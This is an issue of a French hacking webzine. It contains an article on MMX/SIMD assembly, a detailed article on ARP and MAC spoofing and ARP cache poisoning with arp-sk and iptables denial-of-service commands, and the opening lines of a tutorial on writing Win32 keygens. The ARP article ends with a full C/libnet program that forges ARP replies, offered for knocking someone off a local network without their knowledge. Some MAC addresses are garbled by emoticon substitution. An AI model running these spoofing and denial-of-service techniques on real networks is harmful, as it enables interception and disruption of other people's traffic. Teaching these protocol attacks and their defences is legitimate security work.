Bienvenue dans ce premier numéro de ce magazine de N-PN !
Ce webzine sera le premier d'une longue lignée, du moins nous l'espérons, et a pour but de vous fournir des
articles de qualité, tout en essayant de se rendre accessible et compréhensible aux plus débutants
d'entre nous.
Comme vous pourrez le constater lors de la lecture, ce numéro est plus orienté vers le reverse-engineering
et la programmation avec le langage assembleur, bien que ce numéro comporte un article sur la stéganographie
ainsi que sur le protocole ARP, pour souffler un peu entre deux lignes d'assembleur.
Ce magazine est publié en HTML5, qui tient dans un fichier unique, afin d'éviter des étapes inutiles avant la lecture
et le rendre accessible depuis quel appareil mobile (smartphone, tablette, netbook...) capable de
supporter javascript et HTML5 (ce qui devrait être le cas). De plus, diffuser le zine sous cette forme permet d'éviter les
liens morts, étant donné que toutes les ressources (images, fichiers d'exemple) sont directement stockés dans le fichier html.
Avant de vous laisser découvrir le sommaire, je tiens particulièrement à remercier
spin, Luxerails, kallimero, fr0g, spartal1n qui ont rédigé les articles de ce zine, ainsi
que Booster2ooo, qui est a créé la maquette de ce webzine.
Ce court article, surtout théorique, présente d’une manière restreinte l’intérêt des instructions simd (Single Instruction Multiple Data) à celui qui programme déjà en assembleur – même à un débutant. Cet article n’est pas une initiation à la programmation avec simd, mais plutôt une discussion philosophique sur les bienfaits des extensions simd.
0x01 - Introduction
Aujourd’hui, l’intérêt de programmer en assembleur peut paraître assez moindre ; les compilateurs des langages haut-niveau produisent du code assez bon. Puis quand bien même un code généré par un compilateur ne serait pas aussi efficient qu’un code assembleur pensé par un humain, les machines de nos jours sont telles que la perte de performance serait trop infime pour que l’on s’en soucie. La question du pourquoi programmer ou continuer de programmer en assembleur fait l’objet d’un débat que je trouve tout-à-fait inintéressant. Programme en assembleur celui qui en a la volonté. Cependant, programmer en assembleur ne signifie pas programmer comme dans la pré-histoire.
De nos jours, les processeurs grand-public ne disposent plus d’instructions aussi primitives qu’on pourrait le croire – bien au contraire – et paradoxalement certaine de ces instructions sont moins primitives que des instructions d’un langage haut-niveau tel que le C.
0x02 - Il fut un temps
Tout au long de cet article nous parlerons de vecteurs. De ce pas, introduisons deux vecteurs tri-dimensionnels u et v, soient-ils :
→ ⎛ 42 ⎞ → ⎛ 4 ⎞
u = ⎜ 3 ⎟ et v = ⎜ 6 ⎟
⎝ 8 ⎠ ⎝ 1 ⎠
L’enjeu est le suivant : réaliser la somme des deux vecteurs u et v. Soit w le vecteur somme tel que :
Techniquement et plus concrètement, nos vecteurs auront des composantes de chacune un octet. Les lecteurs ayant déjà pratiqué l’assembleur auront une idée quant à la représentation de ces valeurs en mémoire.
u: db 42, 3, 8 ; vecteur u
v: db 4, 6, 1 ; vecteur v
w: rb 3 ; Reserve 3 Bytes
L’algorithme le plus simple qui soit pour effectuer la somme vectorielle en assembleur est le suivant : charger la première composante du vecteur u dans un registre – disons le registre AL –, lui additionner la première composante du vecteur v→. Placer le contenu du registre dans la mémoire allouée pour la première composante du vecteur w→. En faire de même pour les autres composantes. Voici le code correspondant :
mov al, [u]
add al, [v]
mov [w], al ; 1re composante de w calculée
mov al, [u+1]
add al, [v+1]
mov [w+1], al ; 2e composante de w calculée
mov al, [u+2]
add al, [v+2]
mov [w+2], al ; 3e composante de w calculée
u: db 42, 3, 8
v: db 4, 6, 1
w: rb 3
Par cette méthode, dite séquentielle, il nous est nécessaire d’user de neuf instructions afin d’effectuer notre addition vectorielle. Ce programme fonctionnerait parfaitement sur un processeur Intel 8086 datant de 1978. Ne vous-semblerait-il pas plus sage de trouver autre chose ?
0x03 - De nos jours
Depuis l’ère du calcul vectoriel « maison », les processeurs intègrent de nouvelles extensions prévu à ce type de calcul – les extensions simd (Single Instruction Multiple Data). Une extension est généralement le couple d’un jeu d’instructions et d’un jeu de registres, ces derniers ayant un usage en particulier. Les extensions simd furent dans un but de vectorisations des calculs. Le paradigme – s’opposant totalement avec le paradigme séquentiel – est le suivant : ayant une donnée multiple (un vecteur, une matrice), nous disposons d’instructions capable d’opérer sur la donnée multiple directement. En d’autre termes, le processeur sait ce qu’est un vecteur.
Les processeurs Intel et AMD se sont vus dotés de nouvelles extensions simd ces dernières années, notamment MMX (MultiMedia eXtensions) et SSE (Streaming Simd Extensions). Dans le présent article, seul un aperçu de l’extension MMX sera mis en application.
L’extension MMX, introduite avec le Pentium II en 1997, est composée d’un jeu d’une cinquantaine d’instructions, ainsi que huit registres 64 bits portant les noms : MM0, MM1, MM2, MM3, MM4, MM5, MM6 et MM7. Un seul de ces registre peut contenir une donnée multiple, soit une donnée de deux composantes de 32 bits, une donnée de quatre composantes de 16 bits ou bien une donnée de huit composantes de 8 bits.
Reprenons notre premier programme : l’addition des deux vecteurs u et v. MMX nous offre des instructions d’opération sur plusieurs composantes constituant la donnée d’un seul registre. En premier lieu, il nous faudrait avant tout pouvoir placer nos données dans ces fameux registre MMn. MMX propose alors deux instructions de déplacement de données – des instructions mov spéciales – qui sont movd (Move Doubleword – double mot de 32 bits) ou movq (Move Quadword – quadruple mot de 64 bits). Nous utiliserons évidemment l’instruction movd qui déplace 4 octets (32 bits). Nos vecteurs ayant seulement trois composantes d’un octet chacune, il nous suffira juste de définir une quatrième composante étant égale à 0.
Une telle instruction, comme nous nous en doutons, déplacera un vecteurs ayant une taille de 32 bits dans la partie basse d’un des registres MMn. La partie haute sera alors automatiquement mise à zéro.
Ici l’algorithme serait le suivant : placer un vecteur dans un registre MMn, placer l’autre vecteur dans le registre MMm, puis additionner les deux vecteurs. Remarquez que cette fois-ci nous parlons d’un vecteur comme étant une entité reconnue par le processeur, au même titre qu’un nombre, il n’y a plus de pointeur sur une chaîne de données.
L’extension MMX fournit diverses instructions d’addition, pour chaque cas. Le cas intéressant ici est l’instruction d’addition sur des composantes d’un octet : paddb. Il est important de noter que cette instruction effectue des additions sur des entiers non-signés, soit des entiers naturels.1
Ce programme compte ainsi quatre instructions dans le but de réaliser l’addition vectorielle. Il aurait été possible de réaliser le même programme de la façon suivante :
Dans le précédent programme, nous additionnons le vecteur dans MM0 directement avec un vecteur en mémoire. Nous avons donc implémenté notre addition vectorielle en seulement trois instructions. Souvenons-nous que le programme séquentiel en comptait neuf.
Le lecteur désireux de connaître l’extension MMX dans les moindres détails peut se reporter au chapitre 9, Programming With the Intel MMX Technology, du manuel Intel, volume 1 [2].
0x04 - Applications concrètes
Nous savons à présent implémenter une addition vectorielle. Programmer en assembleur de façon moderne est fort bien, mais encore faudrait-il pouvoir tirer profit de cette technologie dans des applications concrètes. Typiquement, les instructions simd voient leur utilité dans le traitement multimédia ou dans les jeux vidéos.
Simulation d’éclairage
Le produit scalaire (aussi connu sous le nom de dot product) est beaucoup utilisé par les logiciels de rendus 3D ; en simplifiant à outrance, une forme 3D sont un ensemble de facettes (qui constituent la surface de la forme). Afin de connaître l’éclairage que subit chaque facette, le logiciel effectuera des tests en fonction du vecteur normal (perpendiculaire) ni à chaque facette et du vecteur l qui représente la source d’éclairage. Le sens du vecteur l indiquera le sens où l’éclairage se propage.
Le résultat du produit scalaire d’un vecteur ni et du vecteur l (notée ni·l) sera un paramètre influant sur l’intensité de l’éclairage d’une facette.
L’extension SSE4.1, introduite en 2007, nous offre justement deux instructions de produit scalaire sur les vecteurs : dpps pour la précision simple et dppd pour la précision double. Voilà qui peut être utile, aussi bien dans un jeu vidéo que dans un logiciel de modélisation tel que Blender.
Traitement d’image
Considérons une image matricielle, étant donc une grille de pixels. Il est intéressant, par exemple lors d’un éclaircissement sur l’image entière, de pouvoir effectuer l’opération sur plusieurs pixels en même temps, au lieu d’opérer pixel par pixel.
0x05 - Comparaison avec gcc
Nous implémentons à présent l’addition vectorielle en langage C, que nous compilerons avec gcc 4.6.2, dernière version à ce jour. Nous pourrons demander à gcc d’utiliser l’extension MMX – sinon il est clair que le programme assembleur sera plus efficient – grâce à la suivante commande : gcc -mmmx -masm=intel -S. Les options -S et -masm=intel spécifient que nous désirons obtenir le code assembleur généré, en syntaxe Intel. l’option -mmmx indique, évidemment, que gcc devra générer du code avec des instructions MMX, appelée MMX built-in function par la documentation gcc. Normalement, gcc aura recours à la fonction v8qi __builtin_ia32_paddb (v8qi, v8qi) si il est aussi futé qu’un humain. [1]. Voici le code :
Sans compter le prologue et l’épilogue de fonction, nous avons vingt instructions nécessaires pour effectuer l’addition vectorielle. Non, cela n’est pas un troll ; souvenez-vous, la différence de performance entre le code de gcc et le code humain est infime, de nos jours.
0x06 - Conclusion
De nos jours, nous pouvons en effet nous passer de tout programmer en assembleur. Mais les extensions simd sont tellement magiques et puissantes qu’il serait dommage de ne pas en faire usage, d’autant plus que les compilateurs ont visiblement du mal à générer du code simd pour l’instant.
Formellement, un entier non-signé est un entier dans un ensemble E ⊂ ℕ tel que : E = { n ∣ n ≤ 2p−1 } où p est le nombre de bits sur lequel on représente le nombre.
> Toutes les possibilités de l'ARP
Auteur: spartal1n
En bref, le protocole ARP (Address Resolution Protocol) permet de faire correspondre adresses IP et adresses physiques (appelées adresses MAC) sur un réseau local (LAN). Les attaques via ce protocole sont connues mais néanmoins, les conséquences de ces attaques sont rarement appréhendées à leur juste mesure. Cet article va donc vous permettre de les connaître. Je décline donc responsabilité devant toutes utilisations mal intentionnés.
0x01 - Introduction
Le modèle OSI a été défini par l’International Standardization Organisation (ISO) afin de mettre en place un standard de communication entre les ordinateurs d’un réseau, il comporte sept couches que je ne developperai pas. Nous allons uniquement nous intéresser aux couches dites basses:
la couche liaison (niveau 2) sert d’interface entre la carte réseau et méthode d’accès.
la couche réseau (niveau 3) gère l’adressage logique et le routage.
Au niveau 2, les protocoles permettent la transmission des données en s’adaptant aux particularités du
support physique (802.3, Ethernet, wireless, token ring, et de nombreux autres encore). A chaque support
correspond une trame spécifique et un adressage associé. Le terme adresse MAC (Medium Access Control)
désigne une adresse physique, indépendamment du support physique : il s’agit donc des adresses de
niveau 2. Les protocoles de niveau 3 suppriment les différences qui existent aux niveaux inférieurs.
0x02 - Protocole Ethernet
Actuellement, la plupart des réseaux locaux (LAN, Local Area Network) reposent sur une couche
physique Ethernet. Ce protocole se retrouve également dans la couche liaison.
Fig. 1 : Trame Ethernet
La structure d’une trame Ethernet :
les adresses Ethernet s’écrivent sur 6 octets (48 bits) en notation héxadécimale, séparés par le caractère ’:’ (’-’ sur Windows) :
les 3 premiers octets correspondent à un code constructeur (3Com, Sun, ...)
les 3 derniers octets sont attribués par le constructeur.
Ainsi, une adresse Ethernet est supposée être unique. Sous Unix, la commande ifconfig révèle
l’adresse Ethernet associée à une carte :
# sous Linux
[spartal1n]$ /sbin/ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:90:27:6A:58:74
inet addr:192.168.1.3 Bcast:192.168.1.255 Mask:255.255.255.0
...
Remarque: FF:FF:FF:FF:FF:FF correspond à l’adresse de diffusion (broadcast) qui
permet d’envoyer un message à toutes les machines, et 00:00:00:00:00:00 est réservée.
On peut aussi modifier son adresse physique (MAC):
# sous Linux
[root@spartal1n]# ifconfig eth0 | grep HWaddr
eth1 Link encap:Ethernet HWaddr 00:10:A4:9B:6D:81
[root@spartal1n]# ifconfig eth0 down
[root@spartal1n]# ifconfig eth0 hw ether 11:22:33:44:55:66 up
[root@spartal1n]# ifconfig eth0 | grep HWaddr
eth1 Link encap:Ethernet HWaddr 11:22:33:44:55:66
Le type précise le protocole de niveau 3 qui est encapsulé dans le paquet, comme par exemple :
Les données occupent de 46 à 1500 octets. Le bourrage intervient lorsque le paquet encapsulé tient sur moins de 46 octets, comme c’est le cas des paquets ARP.
Cependant une trame Ethernet commence par sept octets codant la valeur 0xAA, suivi d’un huitième octet
valant 0xAB. Cet entête permet au matériel de se synchroniser, l’état de synchronisation étant atteint
lorsque le destinataire de la trame parvient à décoder correctement les deux derniers octets.
0x03 - Protocole ARP
Fig. 2 : paquet ARP (RFC 826)
Le protocole ARP (Address Resolution Protocol RFC 826) permet une correspondance dynamique entre adresses physiques et adresses logiques (adresses respectivement de niveau 2 et 3).
L’identificateur adresse physique détermine la configuration du champ longueur de l’adresse
physique. Ainsi une valeur de 1 indique un réseau Ethernet (10 Mbit/s), etc...
L’identificateur adresse logique indique le protocole pour lequel on recherche la correspondance à une adresse logique donnée. Dans le cas du protocole IP, ce champ vaut 0x0800.
Le champ longueur de l’adresse physique indique la longueur en octets de l’adresse MAC, soit 6 pour des adresses Ethernet.
Le champ longueur de l’adresse logique indique la longueur en octets de l’adresse logique, soit 4 pour des adresses IP.
Le code précise la nature du paquet, soit 1 pour une demande (request ou who-has) et 2 pour une
réponse (reply ou is at).
L’adresse physique de l’émetteur contient l’adresse Ethernet de l’émetteur. Dans le cas d’une réponse ARP, ce champ révèle l’adresse recherchée.
L’adresse logique de l’émetteur contient l’adresse IP de l’émetteur.
L’adresse physique du récepteur contient l’adresse Ethernet de l’émetteur de paquet. Dans le cas d’une demande ARP, ce champ est vide.
L’adresse logique du récepteur contient l’adresse IP du récepteur.
Le paquet ARP est ensuite encapsulé dans une trame Ethernet.
Lorsqu’une machine émet une trame sur le support physique, toutes les stations y étant connectées la reçoivent. Par la suite, la station doit être capable de déterminer si cette trame lui est destinée. Ainsi, un premier filtre gérant les trames émises et reçues par le système agit au niveau de la pile TCP/IP.
Il compare l’adresse MAC contenue dans une trame à celle associée à la carte réseau (nous sommes ici au
niveau 2 du modèle OSI). Si ces deux adresses sont identiques, la partie données de la trame est remontée
au niveau 3 pour traitement ultérieur. Dès lors, il est essentiel pour l’instigateur d’une communication de récupérer préalablement l’adresse MAC du destinataire. C’est là qu’intervient le protocole ARP. Chaque système dispose d’une table qui sauvegarde les correspondances (adresse MAC, adresse IP), c'est le cache ARP. Ainsi, une requête ARP est émise uniquement si le destinataire n’est pas présent dans la table.
La commande arp -a affiche le contenu de la table.
Comment rediriger le trafic ?
0x04 - Écoute de réseau (sniffing)
Lorsqu'on veut sniffer un réseau on pense tout de suite à Tcpdump ou Wireshark. Si cette technique est simple à mettre en oeuvre et extrêmement difficile à détecter lorsque le mécanisme
est mis en place dans une totale passivité, elle se trouve très vite confrontée à ses limites. D’une part, sur
un réseau commuté, chaque branche ne reçoit que les trames destinées à une adresse MAC qui y est
présente. De fait, l’utilisation de plus en plus courante de commutateurs (switch) Ethernet (de niveau 2)
réduit la portée d’une telle écoute aux seules trames destinées à la station espionne, ce qui, tout le monde
en conviendra, présente peu d’intérêt. D’autre part, les trames sniffées ne peuvent pas être détournées de
leur destination. Enfin une gestion parfois difficile d’enventuelles erreurs consécutives à l’introduction de données (gestion des numéros de séquence TCP) ou l’évincement d’une des deux parties (gestion des RST de TCP) peut devenir problématique...
0x05 - Usurpation d’adresse MAC (MAC spoofing)
Comme nous l’avons vu plus tôt, une trame Ethernet dispose d’un champ source et d’un champ
destination. Ces champs sont examinés par les commutateurs Ethernet pour, d’une part, choisir sur quel
port ils vont envoyer une trame reçue par examen de l’adresse MAC destination, et d’autre part mettre à
jour une table associant ses ports aux adresses MAC des différents postes par exament de l’adresse MAC
source. Cette table, appelée table CAM (Content Adressable Memory) dans la terminologie Cisco, contient
pour chaque port les adresses MAC des hôtes qui y sont connectés. Le contenu de cette table est mis à jour
dynamiquement pour permettre le changement de port d’un hôte par exemple.
L’usurpation d’adresse MAC vise à se servir de ce mécanisme de mise à jour pour forcer le commutateur à
croire que la station dont nous voulons écouter le trafic se trouve sur notre port. Le principe est simple :
nous envoyons une trame ayant pour adresse source l’adresse MAC de notre victime, et pour destination
notre adresse MAC. Le commutateur, en recevant cette trame, met sa table à jour en associant l’adresse
MAC de la victime à notre port. Dès lors, l’intégralité du trafic qui lui est destiné est dirigé sur notre port
et il ne nous reste plus qu’à le lire tranquillement.
Pour voir le trafic à destination du routeur, j'envoie donc des trames Ethernet dont l’adresse source est
52:54:05:FDBig GrinE:E5 et l’adresse destination 00:10:A4:9B:6D:81. Le commutateur met alors sa table CAM
à jour pour ajouter l’adresse MAC 52:54:05:FDBig GrinE:E5 au port auquel je suis connecté, et la supprime
du port auquel est connecté le routeur. Une représentation rapide de la table CAM est :
# Avant
Port | Adresse MAC
-------------------------
1 | 52:54:05:F4:62:30 # cible
2 | 52:54:05:FDBig GrinE:E5 # routeur
3 | 00:90:27:6A:58:74 # paul
4 | 00:10:A4:9B:6D:81 # spartal1n
#Après
Port | Adresse MAC
-------------------------
1 | 52:54:05:F4:62:30 # cible
2 |
3 | 00:90:27:6A:58:74 # paul
4 | 00:10:A4:9B:6D:81; 52:54:05:FDBig GrinE:E5 # spartal1n, routeur
Mais cette technique n'est pas à l'abri de problème car la victime émet encore des paquets, ce qui place le commutateur face à une situation conflictuelle : il reçoit la même adresse MAC sur deux ports différents. Selon le matériel utilisé et sa configuration, la réaction va d’une mise à jour
systématique de la table par le dernier paquet reçu à une désactivation administrative du port usurpant
l’adresse.
0x06 - Usurpation d’identité ARP (ARP spoofing)
Devant la limitation de l’usurpation d’adresse MAC en terme de détournement de trafic et de furtivité,
nous nous attaquons à la couche supérieure. Enfin, pas tout à fait à la couche supérieure, à savoir IP, mais
au mécanisme qui permet de faire la correspondance entre les adresses MAC et les adresses IP : ARP. En
effet, si nous arrivons à associer notre adresse MAC à l’adresse IP dont nous voulons obtenir le trafic,
nous aurons gagné.
Le cache ARP d’un hôte doit parfois être mis à jour : changement d’adresse IP d’une machine, changement de carte réseau suite à une panne, etc. Pour faire face à de tels changements, le cache observe
ce qu’il reçoit au niveau ARP pour tenir ses entrées à jour. Dans le cas qui nous intéresse, lorsqu’un hôte
reçoit une trame contenant une réponse ARP et que son cache contient une entrée correspondant à
l’adresse IP concernée par celle-ci, il met l’entrée à jour si les informations de son cache diffèrent de celle
contenue dans le paquet ARP. Ainsi, lorsque batman va recevoir la réponse de robin, il va mettre son
cache à jour et écraser l’entrée que nous venions juste de falsifier. Il est donc nécessaire d’envoyer des
réponses de manière continue afin que le cache conserve l’entrée falsifiée que nous voulons.
En outre, cette technique suppose que l’hôte visé ne possède pas d’entrée correspondant à l’adresse IP que
nous voulons falsifier, sans quoi aucune requête n’est émise. C’est malheureusement rarement le cas,
puisque les adresses les plus intéressantes sont des machines souvent interrogées par nos cibles
potentielles.
0x07 - Corruption de cache ARP (ARP cache poisoning)
L’idéal serait donc d’agir directement sur le cache ARP de notre cible, indépendament des requêtes qu’il
pourrait être amené à émettre. Pour y parvenir, nous devons être capables de réaliser deux opérations : la
création d’une entrée dans le cache et le mise à jour d’entrées existantes.
Pour créer efficacement une entrée dans le cache ARP d’une machine, l’idéal serait de l’amener à émettre
une requête en vue de communiquer avec l’adresse IP qui nous intéresse.
Ce comportement est extrêmement intéressant. Si je veux créer une entrée pour l’adresse IP de mon routeur
(192.168.1.2) correspondant à son adresse MAC (00:10:A4:9B:6D:81) dans le cache de ma cible, il me
suffit de lui envoyer une requête ARP, avec comme adresse MAC source la mienne et comme adresse
IP source celle du routeur. Cependant, une requête ARP est émise en diffusion, ce qui est assez embarassant
puisque la cible va voir passer cette requête.
Nous jouons donc sur la couche Ethernet, et envoyer notre requête en unicast, à destination de la cible. En effet, la couche ARP ne fait aucune vérification de cohérence entre les entêtes Ethernet et le contenu du message ARP.
[root@joker]# arp-sk -w -d cible -S routeur -D cible
+ Running mode "who-has"
+ IfName: eth0
+ Source MAC: 00:10:a4:9b:6d:81
+ Source ARP MAC: 00:10:a4:9b:6d:81
+ Source ARP IP : 192.168.1.2 (routeur)
+ Target MAC: 52:54:05:F4:62:30
+ Target ARP MAC: 00:00:00:00:00:00
+ Target ARP IP : 192.168.1.1 (cible)
--- Start sending --
To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806
ARP Who has 192.168.1.1 (00:00:00:00:00:00) ?
Tell 192.168.1.2 (00:10:a4:9b:6d:81)
--- batman (00:00:00:00:00:00) statistic ---
To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806
ARP Who has 192.16.1.1 (00:00:00:00:00:00) ?
Tell 192.168.1.2 (00:10:a4:9b:6d:81)
1 packets tramitted (each: 42 bytes - total: 42 bytes)
Si on observe le cache ARP de la cible, on constate que :
# avant
[cible]$ arp -a
alfred (192.168.1.3) at 00:90:27:6a:58:74
# après
[cible]$ arp -a
routeur (192.168.1.2) at 00:10:a4:9b:6d:81
paul (192.168.1.3) at 00:90:27:6a:58:74
Nous avons donc réussi non seulement à créer une entrée pour le routeur dans le cache ARP de la cible sans que cette dernier n’ait initié la moindre requête, mais surtout, nous avons réussi à lui donner les valeurs qui nous intéressaient. À partir de maintenant, et jusqu’à ce que cette entrée se trouve mise à jour avec des valeurs différentes, lorsque la cible voudra envoyer un paquet IP au routeur, elle le placera dans une trame Ethernet qui nous sera destiné.
Maintenant que nous savons créer des entrées dans le cache ARP d’un hôte, nous nous intéressons à leur
mise à jour. Cela sert non seulement pour modifier une entrée existante, mais aussi pour nous garantir le
maintient de la valeur des entrées malgré d’éventuelles mises à jour ultérieures du cache.
Nous exploitons le mécanisme vu précédemment pour mettre à jour les entrées du cache. Supposons que
la cible posséde une entrée valide pour robin :
[cible]$ arp -a
routeur (192.168.1.2) at 52:54:05:fdBig Grine:e5
paul (192.168.1.3) at 00:90:27:6a:58:74
Pour mettre à jour cette entrée, nous envoyons à la cible une réponse ARP venant du routeur, mais associant son IP à notre adresse MAC :
[root@spartal1n]# arp-sk -r -d cible -S routeur -D cible
+ Running mode "reply"
+ IfName: eth0
+ Source MAC: 00:10:a4:9b:6d:81
+ Source ARP MAC: 00:10:a4:9b:6d:81
+ Source ARP IP : 192.168.1.2 (routeur)
+ Target MAC: 52:54:05:F4:62:30
+ Target ARP MAC: 52:54:05:F4:62:30
+ Target ARP IP : 192.168.1.1 (cible)
--- Start sending --
To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806
ARP For 192.168.1.1 (52:54:05:F4:62:30)
192.168.1.2 is at 00:10:a4:9b:6d:81
--- batman (52:54:05:F4:62:30) statistic ---
To: 52:54:05:F4:62:30 From: 00:10:a4:9b:6d:81 0x0806
ARP For 192.168.1.1 (52:54:05:F4:62:30):
192.168.1.2 is at 00:10:a4:9b:6d:81
1 packets tramitted (each: 42 bytes - total: 42 bytes)
Si nous regardons maintenant le cache ARP de batman, nous constatons la mise à jour de l’entrée :
[cible]$ arp -a
routeur (192.168.1.2) at 00:10:a4:9b:6d:81
paul (192.168.1.3) at 00:90:27:6a:58:74
Notre objectif est donc atteint. Pour maintenir ces valeurs dans le cache, il nous suffira de renouveler
régulièrement l’envoi de ces messages ARP. arp-sk, par défaut, envoie un message toutes les 5
secondes.
Remarque:
Une fois le cache polué, les trames que nous recevons sont semblables à celles que reçoit un routeur :
l’adresse MAC destination de la trame Ethernet n’est pas celle associée à l’adresse de destination du
paquet IP. Pour renvoyer les trames à leur destinataire légitime, il suffit donc d’activer le routage IP
sur le poste attaquant (echo 1 > /proc/sys/net/ipv4/ip_forward ).
0x08 - Les différentes attaques possibles
Écoute
Une fois qu’on a réussi à détourner le trafic émis par un hôte à destination d’un autre, la première chose
intéressante à faire est de regarder les données qui transitent avant de les renvoyer à leur véritable
destinataire. Nous réalisons donc un Man in the Middle.
Interception (proxying) et vol de connexion (hijacking)
À présent, nous sommes capables de réaliser des opération de détournement de flux gâce a notre Man in the Middle nous pouvons donc modifier ou extraire les données sans qu’aucune des deux parties ne s’en aperçoive. De plus si des systèmes de vérification d’intégrité simples comme CRC32, MD5 ou SHA1
étaient mis en place nous pourrions les recalculer les sommes à la volée.
Passage de pare-feu par usurpation (spoofing)
En utilisant la possibilité de se faire passer pour un hôte quelconque du réseau auprès de la passerelle et le
concept d’interception de flux, nous pouvons initier des connexions vers le monde extérieur avec les listes
d’accès définies pour l’adresse usurpée. Ceci nous permet d’élever notre niveau de privilège pour les accès
réseau à travers un éventuel dispositif de filtrage (pare-feu, proxy).
Déni de service (DoS)
Il est très facile de réaliser des dénis de service en utilisant les attaques sur ARP. Il suffit de refuser les
paquets détournés :
[root@joker]# iptables -A FORWARD -p tcp -s routeur -d cible -j DROP
Pour le routeur, la cible est morte... Il est ainsi possible de rendre un serveur de domaines inaccessible à un hôte donné, de manière à se positioner comme serveur secondaire et proposer des mécanismes
d’authentification plus faibles.
0x09 - Conlusion
Le protocole Arp permet dans un réseau local de manipuler la plupart des communications, cependant des méthodes pour se protéger existe telles que un filtrage au niveau de l'ARP, ou un adressage Ip/ARP statique, d'un IDS(système de détection d'intrusion) surveillant le cache ARP ou encore l'utilisation d'authentification fore(SSL,etc...) J'espère donc que ce developpement du protocole ARP vous a intéresser, je joint à la fin de cet article un code vous permettant d'éjecter durant une période donnée une personne de votre réseau en utilisant le cahce poising. Dans le prochain article je developperai l'attaque Man in th Middle. Aller à tanto tout le monde !
PS: Pour tout renseignement, coquille ou autre je suis disponible via MP (message privé) ou sur l'irc #N-PN (irc.n-pn.fr).
0x0A - Script d'ARP Poisoning
Commençons par installer l'environnement adapté: installer le paquet libnet-dev et supprimer les restrictions du noyau linux sur les requêtes ARP forgées.
Ce code d'ARP Poising a été créé par SpartAl1n. Je me suis inspiré de plusieurs sites pour obtenir après recroisement ce code. Il permet de forger des requêtes ARP ayant pour adresse Mac source votre interface réseau. Vous pouvez grâce à ce code rediriger des paquets pour par exemple éjecter une personne de votre réseau en le redirigeant sur votre machine.( coloc' qui utilise trop de bande passante). Je vous conseil de mettre dans comme adresse IP source l'IP de votre routeur ou de votre Box.
/*Correction des principaux problèmes:
* - Supprimer les entrées dans le cache ARP sinon on peut avoir une erreur car deux adresses ip
* seront liées pour la même ardesse Mac.
*
* arp -s (ajouter une entrée statique), exemple : arp -s 192.168.1.2 00:40:33:2D:B5Big GrinD
* arp -d (supprimer une entrée), exemple : arp -d 192.168.1.2
*
* - Supprimer la protection contre l'envoi de requête ARP (Variable sur 1):
* - Editer /proc/sys/net/ipv4/conf/all/arp_accept
* - Editer /proc/sys/net/ipv4/conf/eth1/arp_accept
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <libnet.h>
////////////////////////////// USAGE //////////////////////////////////////////
void usage (char *name)
{
printf ("%s - Send arbitrary ARP replies\n", name);
printf ("Usage: %s -s ip_address -t dest_ip\n", name);
printf (" -s IP address qu'on pense qu'on est\n");
printf (" -t IP address du destinataire\n");
printf (" -m Ethernet MAC address du destinataire\n");
exit (1);
}
///////////////////////////// MAIN /////////////////////////////////////////////
int main (int argc, char *argv[])
{
char o; /* Pour le processus d'option */
char *device = NULL; /* interface d'accès au réseau*/
in_addr_t ipaddr; /* Ip source du paquet*/
in_addr_t destaddr; /* IP du destinataire*/
u_int8_t *macaddr; /* Adresse Mac du destinataire */
libnet_t *l; /* libnet context */
struct libnet_ether_addr *hwaddr; /* Adresse Mac de la source(nous)*/
libnet_ptag_t arp = 0, eth = 0; /* Tag ARP protocol et Ethernet protocol*/
char errbuf[LIBNET_ERRBUF_SIZE]; /* messages d'erreur */
int r; /* generic return value */
int nb_paquet=0,i; /* Variable pour l'envoi des paquets*/
puts("Bienvenue dans le ARP Poising by SpartAl1n");
if(argc < 3)
usage (argv[0]);
while ((o = getopt (argc, argv, "i:tConfused:m:")) > 0)
{
switch (o)
{
case 'i':
device = optarg;
break;
case 's':
if ((ipaddr = inet_addr (optarg)) == -1)
{
fprintf (stderr, "Invalid claimed IP address\n");
usage (argv[0]);
}
break;
case 't':
if ((destaddr = inet_addr (optarg)) == -1)
{
fprintf (stderr, "Invalid destination IP address\n");
usage (argv[0]);
}
break;
case 'm':
if ((macaddr = libnet_hex_aton (optarg, &r)) == NULL)
{
fprintf (stderr, "Error on MAC address\n");
usage (argv[0]);
}
break;
default:
usage (argv[0]);
break;
}
}
/* Ouverture du context libnet */
l = libnet_init (LIBNET_LINK, device, errbuf);
if (l == NULL)
{
fprintf (stderr, "Error opening context: %s", errbuf);
exit (1);
}
/* Récupération de l'adresse Mac de notre carte réseau*/
hwaddr = libnet_get_hwaddr (l);
///////////////////////// Fabrication de notre ARP header /////////////////////////
arp = libnet_autobuild_arp (ARPOP_REPLY, /* operation */
(u_int8_t *) hwaddr, /* source hardware addr */
(u_int8_t *) &ipaddr, /* source protocol addr */
macaddr, /* target hardware addr */
(u_int8_t *) &destaddr, /* target protocol addr */
l); /* libnet context */
if (arp == -1)
{
fprintf (stderr, "Unable to build ARP header: %s\n", libnet_geterror (l));
exit (1);
}
///////////////// Création de notre Ethernet Header /////////////////////////////
eth = libnet_build_ethernet (macaddr, /* destination address */
(u_int8_t *) hwaddr, /* source address */
ETHERTYPE_ARP, /* type of encasulated packet */
NULL, /* pointer to payload */
0, /* size of payload */
l, /* libnet context */
0); /* libnet protocol tag */
if (eth == -1)
{
fprintf (stderr,
"Unable to build Ethernet header: %s\n", libnet_geterror (l));
exit (1);
}
////////////////////////// Envoi des paquets ////////////////////////////////////
printf("Nombre de paquet voulu, 1 paquet= 2secondes :");
scanf("%d", &nb_paquet);
for(i=0; i < nb_paquet;i++)
{
/* Création des paquets */
if ((libnet_write (l)) == -1)
{
fprintf (stderr, "Unable to send packet: %s\n", libnet_geterror (l));
exit (1);
}
puts("paquets envoyer");
sleep(2);
}
//////////////////////////Fermeture du programme proprement /////////////////////
/* Fermeture propre */
libnet_destroy (l);
return 0;
}
Voilà maintenant vous pouvez éjecter n'importe qui de votre réseau local durant la durée que vous avez décidé.
> Introduction au Keygenning sous Win32
Auteur: fr0g
Introduction
Bonjour, afin de suivre dans la lancée de mes premiers tutoriels sur le reversing pour n-pn, j’ai décidé d’en rédiger un sur le keygening.
En quoi consiste un Keygen ?
Je vois sur de plus en plus de forums/sites de h4xx0r de la morkitu, des programmes qu'ils créent, croyant faire des keygens, en programmant simplement une fenêtre assez jolie renvoyant un serial valide pour une application, pris au hasard dans une liste de serials dans leur programme.
